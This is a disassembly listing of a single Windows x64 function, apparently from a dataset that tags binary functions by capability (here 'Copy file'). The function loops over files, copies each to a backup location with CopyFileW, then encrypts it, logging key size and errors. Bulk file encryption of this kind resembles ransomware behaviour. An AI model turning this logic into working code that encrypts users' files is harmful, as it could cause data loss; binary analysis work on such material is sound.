Function at 0x180005b00
Capabilities:
Copy file

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x68]
sub rsp, 0x168
mov rax, qword [0x18005e038]
xor rax, rsp
mov qword [rbp + 0x50], rax
mov qword [rsp + 0x68], r9
mov r12, r8
mov r13, rdx
mov rdi, rcx
mov qword [rsp + 0x70], rcx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x20], rdx
mov qword [rbp - 0x18], r8
xor esi, esi
mov r15d, esi
mov rcx, qword [0x180060f58]
mov rax, qword [rcx]
lea r8d, [rsi + 2]
lea rdx, str.Creating_backup_folders
call qword [rax + 0x10]
lea rax, [rbp + 0x30]
mov qword [rsp + 0x60], rax
mov rdx, r12
lea rcx, [rbp + 0x30]
call fcn.180008400
mov rbx, rax
mov rdx, r13
lea rcx, [rbp + 0x10]
call fcn.180008400
nop
mov rdx, rbx
mov rcx, rax
call fcn.180005800
mov rcx, qword [0x180060f58]
mov rax, qword [rcx]
lea r8d, [rsi + 2]
lea rdx, str.Now_encrypting_files
call qword [rax + 0x10]
mov rcx, qword [0x180060f58]
mov rax, qword [rcx]
mov r9d, dword [rbp + 0xd0]
lea r8d, [rsi + 2]
lea rdx, str.Size_of_key__d
call qword [rax + 0x10]
mov r14, qword [rdi]
mov rax, qword [rdi + 8]
mov qword [rsp + 0x60], rax
cmp r14, rax
je 0x1800061ee
nop
mov rdx, r14
lea rcx, [rbp + 0x30]
call fcn.180008400
nop
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
lea rsi, [rbp + 0x30]
cmp qword [rbp + 0x48], 8
cmovae rsi, qword [rbp + 0x30]
mov rdi, qword [rbp + 0x40]
movabs rax, 0x7ffffffffffffffe
cmp rdi, rax
ja 0x180006309
mov qword [rsp + 0x48], 7
cmp rdi, 8
jae 0x180005c4f
mov qword [rsp + 0x40], rdi
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x30], xmm0
jmp 0x180005cfe
mov rbx, rdi
or rbx, 7
cmp rbx, rax
jbe 0x180005c6e
mov rbx, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x180005c9e
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x180006303
add rcx, rcx
cmp rcx, 0x1000
jb 0x180005ccd
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180006303
mov rcx, rax
call fcn.18001fd18
mov rcx, rax
test rax, rax
je 0x1800062c7
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180005cdb
test rcx, rcx
je 0x180005cd9
call fcn.18001fd18
jmp 0x180005cdb
xor eax, eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
lea r8, [rdi*2 + 2]
mov rdx, rsi
mov rcx, rax
call fcn.180022130
nop
mov rdx, r13
lea rcx, [rsp + 0x78]
call fcn.180008400
nop
lea r8, [rsp + 0x30]
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.180014e30
nop
lea rax, [rbp - 0x68]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.180008400
mov rbx, rax
mov rdx, r12
lea rcx, [rbp - 0x48]
call fcn.180008400
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.180014e30
nop
lea r9, [rbp - 0x10]
cmp qword [rbp + 8], 8
cmovae r9, qword [rbp - 0x10]
mov rcx, qword [0x180060f58]
mov rax, qword [rcx]
mov r8d, 2
lea rdx, str.Encrypt__s
call qword [rax]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
lea rsi, [rbp + 0x10]
cmp qword [rbp + 0x28], 8
cmovae rsi, qword [rbp + 0x10]
mov rdi, qword [rbp + 0x20]
movabs rcx, 0x7ffffffffffffffe
cmp rdi, rcx
ja 0x1800062fd
mov qword [rsp + 0x48], 7
cmp rdi, 8
jae 0x180005ddf
mov qword [rsp + 0x40], rdi
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x30], xmm0
jmp 0x180005e8a
mov rbx, rdi
or rbx, 7
cmp rbx, rcx
jbe 0x180005dfe
mov rbx, rcx
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x180005e2e
cmp rbx, 0xa
mov ecx, 0xa
cmovb rbx, rcx
lea rcx, [rbx + 1]
movabs rdx, 0x7fffffffffffffff
cmp rcx, rdx
ja 0x1800062f7
add rcx, rcx
cmp rcx, 0x1000
jb 0x180005e5d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800062f7
mov rcx, rax
call fcn.18001fd18
mov rcx, rax
test rax, rax
je 0x1800062cd
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180005e67
test rcx, rcx
je 0x180005e67
call fcn.18001fd18
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
lea r8, [rdi*2 + 2]
mov rdx, rsi
mov rcx, rax
call fcn.180022130
nop
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x78]
call fcn.180008400
mov rbx, rax
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rdx, qword [rsp + 0x30]
mov rcx, rax
cmp qword [rax + 0x18], 8
jb 0x180005eb9
mov rcx, qword [rax]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov edi, eax
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x180005f06
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x180005f01
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800062cd
mov rcx, r8
call fcn.18001fd10
xor esi, esi
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 7
mov word [rbx], si
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x180005f59
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005f54
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800062cd
call fcn.18001fd10
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], si
test edi, edi
je 0x1800060ce
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
lea rsi, [rbp - 0x10]
cmp qword [rbp + 8], 8
cmovae rsi, qword [rbp - 0x10]
mov rdi, qword [rbp]
movabs rax, 0x7ffffffffffffffe
cmp rdi, rax
ja 0x1800062df
mov qword [rsp + 0x48], 7
cmp rdi, 8
jae 0x180005fcc
mov qword [rsp + 0x40], rdi
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x30], xmm0
jmp 0x18000607a
mov rbx, rdi
or rbx, 7
cmp rbx, rax
jbe 0x180005feb
mov rbx, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x18000601b
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x1800062d9
add rcx, rcx
cmp rcx, 0x1000
jb 0x18000604a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800062d9
mov rcx, rax
call fcn.18001fd18
mov rcx, rax
test rax, rax
je 0x1800062d3
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180006058
test rcx, rcx
je 0x180006056
call fcn.18001fd18
jmp 0x180006058
xor eax, eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
lea r8, [rdi*2 + 2]
mov rdx, rsi
mov rcx, rax
call fcn.180022130
mov r8d, dword [rbp + 0xd0]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x30]
call fcn.1800047c0
mov r9d, eax
test eax, eax
jne 0x18000609e
inc r15d
xor esi, esi
jmp 0x180006109
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 8
cmovae rdx, qword [rbp - 0x10]
mov rcx, qword [0x180060f58]
mov rax, qword [rcx]
mov qword [rsp + 0x20], rdx
mov r8d, 2
lea rdx, str.Error_encrypting_file__d____s
call qword [rax]
xor esi, esi
jmp 0x180006109
lea r9, [rbp + 0x10]
cmp qword [rbp + 0x28], 8
cmovae r9, qword [rbp + 0x10]
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 8
cmovae rdx, qword [rbp - 0x10]
mov rcx, qword [0x180060f58]
mov rax, qword [rcx]
mov qword [rsp + 0x20], rdx
mov r8d, 2
lea rdx, str.Error_backup_file__s__this_file_will_not_be_encrypted____s
call qword [rax]
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 8
jb 0x180006149
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006144
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800062e5
call fcn.18001fd10
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 7
mov word [rbp + 0x10], si
mov rdx, qword [rbp + 8]
cmp rdx, 8
jb 0x18000619a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006194
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800062eb
call fcn.18001fd10
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 8
jb 0x1800061da
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800061d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800062f1
call fcn.18001fd10
add r14, 0x20
cmp r14, qword [rsp + 0x60]
jne 0x180005be0
mov rdi, qword [rsp + 0x70]
mov rcx, rdi
call fcn.1800080c0
nop
mov rdx, qword [r13 + 0x18]
cmp rdx, 8
jb 0x180006237
mov rcx, qword [r13]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x180006232
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800062bb
mov rcx, r8
call fcn.18001fd10
mov qword [r13 + 0x10], rsi
mov qword [r13 + 0x18], 7
mov word [r13], si
mov rdx, qword [r12 + 0x18]
cmp rdx, 8
jb 0x180006285
lea rdx, [rdx*2 + 2]
mov rcx, qword [r12]
cmp rdx, 0x1000
jb 0x180006280
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800062c1
mov rcx, r8
call fcn.18001fd10
mov qword [r12 + 0x10], rsi
mov qword [r12 + 0x18], 7
mov word [r12], si
mov eax, r15d
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.18001fcf0
add rsp, 0x168
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.180026dac
nop
call fcn.180026dac
nop
call fcn.180026dac
nop
call fcn.180026dac
int3
call fcn.180026dac
int3
call fcn.180003440
int3
call fcn.1800034e0
nop
call fcn.180026dac
nop
call fcn.180026dac
nop
call fcn.180026dac
nop
call fcn.180003440
int3
call fcn.1800034e0
nop
call fcn.180003440
int3
call fcn.1800034e0
int3